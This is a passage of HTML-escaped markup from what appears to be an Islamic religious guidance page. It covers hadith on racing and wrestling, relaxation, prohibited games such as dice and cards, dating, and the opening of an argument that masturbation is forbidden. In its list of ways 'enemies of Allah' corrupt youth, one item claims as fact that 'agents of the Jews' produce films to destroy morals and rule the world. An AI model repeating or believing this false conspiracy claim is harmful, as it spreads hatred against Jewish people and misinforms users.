(&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) had reiterated.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;tab-stops:22.5pt&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight: normal&quot;&gt;&#39;Every such engagement of man which entails play and amusement is null and void except archery, training one&#39;s horse and playing with one&#39;s wife, for these things constitute righteousness.&#39; &quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:0in;mso-list:l5 level1 lfo8;tab-stops:22.5pt&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;c.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-weight: normal; &quot;&gt;                   &lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;As for the race with Ayesha (&lt;/span&gt;&lt;i&gt;Radiallâhu anha&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;), this is narrated only by her and no other Sahâbi (&lt;/span&gt;&lt;i&gt;Radiallâhu anhu&lt;/i&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;). This makes it obvious that this was in absolute privacy. Actually this race was not in the form of some sport. Rather, it was more in the form of playfulness and a manner of mirthful activity as is common in a healthy husband and wife relationship. If one practices this sunnah in the same manner (i.e. in absolute privacy) with one&#39;s wife, by all means. However, it cannot be used to justify the indulgence in modern day sports.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;h4 style=&quot;margin-left:.25in;text-align:justify;text-indent:-.25in;mso-list: l2 level1 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;5.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Wrestling&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;The Prophet (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) once wrestled with a man called Rukanah who was well-known for his strength, throwing him down more than once. (Abu Dawood).&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;This Hadith has been explained as follows:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;The Hadith mentioning Rasulullah&#39;s wrestling with Rukanah is not encouragement for sport because the event took place at the request of Rukanah who wanted to ascertain whether Muhammed (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) was a Nabi or not. Rasulullah&#39;s victory over Rukanah was by way of Mu&#39;jizah. This Hadith is not an encouragement for sport.&quot; &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;h4 style=&quot;text-align:justify&quot;&gt;&lt;a name=&quot;Rela&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight: normal&quot;&gt;Rela&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;xing the Mind and Body&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;At the outset, it is important to outline the Islamic stance on relaxation. With regard to relaxing the mind and body, there seems to be a general consensus amongst the different Ulama. The following are the views of four prominent South African jurists:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;Says the Qurân: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&#39;Undoubtedly it is only through the Remembrance of Allâh that the hearts find contentment and satisfaction.&#39; Ar-Ra&#39;ad verse 28.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Says the Hadith: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&#39;And your body also has a right over you.&quot; Bukhari&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Hence to relax the body and mind and to maintain its physical well-being has been acceded to in Shariah, however, remaining within the limits of Shariah thereby and without exceeding the bounds and not engaging in any such activity which will make one unmindful and heedless of Allâh.&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Islam recognizes that Allâh has created human beings with needs and desires, so that, as they need to eat and drink, they also need to relax. The following incident substantiates that in Islam there is a time and place for everything permissible. Hazrat Hanzalah (R.A) states:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;“Hazrat Abu Bakr (R.A) met me and asked, &quot;How are you, Hanzalah?&quot; I replied, &quot;Hanzalah has become a hypocrite.&quot; He said, &quot;SubhanAllâh! What are you saying?&quot; I replied, &quot;When we are with Allâh&#39;s Messenger (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;), he mentions the Fire and the Garden until it is as if we can see them. But when we leave Nabi&#39;s (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) company and play with our wives and children or busy ourselves with our properties, we forget much.&quot; Hazrat Abu Bakr (R.A) said, &quot;By Allâh, I have experienced the same thing.&quot; He and I then went to visit Nabi (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) and I said, &quot;O Messenger of Allâh (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;), when we are with you, you talk about the Fire and Garden until it is as if we can see them. Then we go out and play with our wives and the children and deal with our properties, and we forget much. Nabi (&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;Sallallâhu alaihi wasallam&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) then said, &quot;By Him in Whose Hands is my soul, if you were to continue at the same level at which you were when with me in remembering Allâh, the angels would shake hands with you when you are resting and when you walk about, but, O Hanzalah, there is a time (for this) and time (for that).&quot; He repeated this phrase three times. (Mishkat pg.197-198) &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Pastimes are permissible provided that they provide the participant with relaxation and exercise and at the same time none of the laws of Shariah are compromised e.g. dress, intermingling of sexes, gambling and betting etc.&quot; &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;h4 style=&quot;text-align:justify&quot;&gt;&lt;a name=&quot;Proh&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight: normal&quot;&gt;Proh&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;ibited Sports&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;A number of sports have been explicitly prohibited by the Qurân and Hadith. These include:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;h4 style=&quot;margin-left:.75in;text-align:justify;text-indent:-.25in;mso-list: l2 level2 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;a.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;       &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Playing with dice&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;The Prophet (&lt;/span&gt;&lt;/strong&gt;&lt;em&gt;Sallallâhu alaihi wasallam&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;) is reported to have said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&quot;He who plays with dice is like the one who handles the flesh and blood of swine.&quot;(Muslim, Abu Dawood, Ahmad)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;h4 style=&quot;margin-left:.75in;text-align:justify;text-indent:-.25in;mso-list: l2 level2 lfo6&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;b.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Games of Chance and Card - playing&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt;Abdullah bin Amr reported that the messenger of Allâh &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-style:normal&quot;&gt;(Azza wa jall)&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-weight:normal&quot;&gt; prohibited intoxicants, games of chance, card - playing and Gabairah (a kind of wine).(Abu Dawood)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Dating a Girl and Sex:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Few people think that dating and romance is not allowed in Islam. Dating is allowed in Islam but after marriage. A man can take his wife to date and a wife can date his husband. If we want to date too many girls and boys then it will not be allowed in any religion even unless those religions which have no rules to follow i.e. Agonist, Atheist. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Sex has many forms; Masturbation (Self Satisfaction), Homo sexual or Lesbianism, and an intercourse in between a husband and wife. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Masturbation (Self Satisfaction)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The enemies of Allah know the importance of the youth and the role they play in the construction of a nation. Hence, they have schemed various ways to eliminate and destroy this asset, to poison the thinking and minds of the youth and to plant the spirit of unsteadiness and moral depravity in their lives. Some of the despicable ways in which they achieve their objectives are as follows:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;To employ every possible means to stimulate and excite the natural impulse in man through:-&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Colourful, captivating and stimulating pictorial illustrations and images;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Female and male actors and sport-players whom the masses have accepted in order to frame their minds in such a manner that they can be easily influenced and to give them by means of these actors and sport-players a pattern and model of life;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Magazines which deal with women employed in the field of fashion, art, cinemas, sports and beauty;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Senseless music which is directed to degrade man;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Collections of poetry which decreases the soul to sense its&#39; natural feelings;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Imaginary and fictitious love stories and narratives sold on street-corners; and&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:.5in;text-align:justify;text-indent:-.25in;mso-list:l4 level1 lfo3; tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-size:10.0pt; mso-bidi-font-size:12.0pt;font-family:Symbol;mso-fareast-font-family:Symbol; mso-bidi-font-family:Symbol&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Movies and films which the agents of the Jews produce to destroy the good-character of people so that it could become easy for them to rule the world.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;To place imaginative obstacles and impediments on the straight path at a time when shaytaan is also working hard to stimulate the passion of man. To place social, individual, mental and economical barriers to impress upon the youth that the affair of marriage is a difficult matter. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;This second method of the enemies of Islam is, in reality, a closure of the legal doors whereby a person could satisfy his natural desires.&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;The Result&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;When the desire and passion of man is stirred-up due to various influencing factors, it ventures to search for the correct path for satisfaction. Instead of finding the door open it finds it closed. Consequently, it chooses the corrupted and distorted paths. Here it finds the doors wide open.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The enemies of Allah have been successful to a considerable extent in achieving their objectives. They have extracted from the Muslim Ummah such youth whose primary concern is the fulfillment of carnal appetite. These youth have surrendered to the attack of the enemies. Their greatest desire is to enter into the world of arts, sports and fashion. They have been nurtured from childhood with lust, passion and lowly-desires. When they think, they think of evil. The beating of their heart is also for evil. They live, sleep and eat yearning for vice. These youth have thus only excelled in sports, music and hair styling. When the condition of the youth has become such then the fall of the Ummah and the collapse of society is evident.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Amongst the distorted ways towards which the youth have resorted to satisfy their lust is masturbation - a fast spreading, vile act. This vile act has become common amongst a large sector of youth. Many young boys and girls have become entrapped in the snare of masturbation. Hence, it is necessary to explain the law of Islam with regard to this evil act, to list its harms and disastrous consequences and to prescribe some medicine and treatment to root-out this shameful act.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;The &lt;a name=&quot;Ruli&quot;&gt;Ruli&lt;/a&gt;ng Regarding Masturbation is that it is Haraam (Unlawful)&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;This is the ruling of the 4 schools of thought viz. Malikiyah, Shafi&#39;eyah and Hanafiyah and one riwayah (narration) from Imaam Ahmed. They have drawn their conclusions from the following proofs:-&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;a name=&quot;Pro&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family: &amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Pro&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;ofs from the Quraan&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Allah Ta&#39;aala says: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;And those who guard their private parts save from their wives and those (slave-girls) which their right-hands own - so there is no blame upon them. Then whoever seeks beyond that (which is lawful), they are the transgressors.&quot; (Surah Al Mu&#39;minoon : Verse 5 &amp;amp; 6)&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The intended meaning of these &lt;i&gt;aayat&lt;/i&gt; is clear. Allah Ta&#39;aala has praised the believers for guarding their private parts from that which He has made forbidden upon them. Allah has permitted them to approach their wives and slave-girls. Thereafter, these Words of Allah Ta&#39;aala follow:- Whoever seeks beyond that which is lawful are oppressors who overstep from &lt;i&gt;halaal&lt;/i&gt; (permitted) towards &lt;i&gt;haraam&lt;/i&gt; (prohibited).&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Hafiz Ibne Katheer Rahmatullah alaihi writes: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;Imaam Shaafie Rahmatullah alaihi and those who have agreed with him have concluded that masturbation is &lt;i&gt;haraam&lt;/i&gt; from this aayah.&quot; He says: &quot;Masturbation is excluded from these two types which Allah has made &lt;i&gt;halaal&lt;/i&gt;, viz. wives and 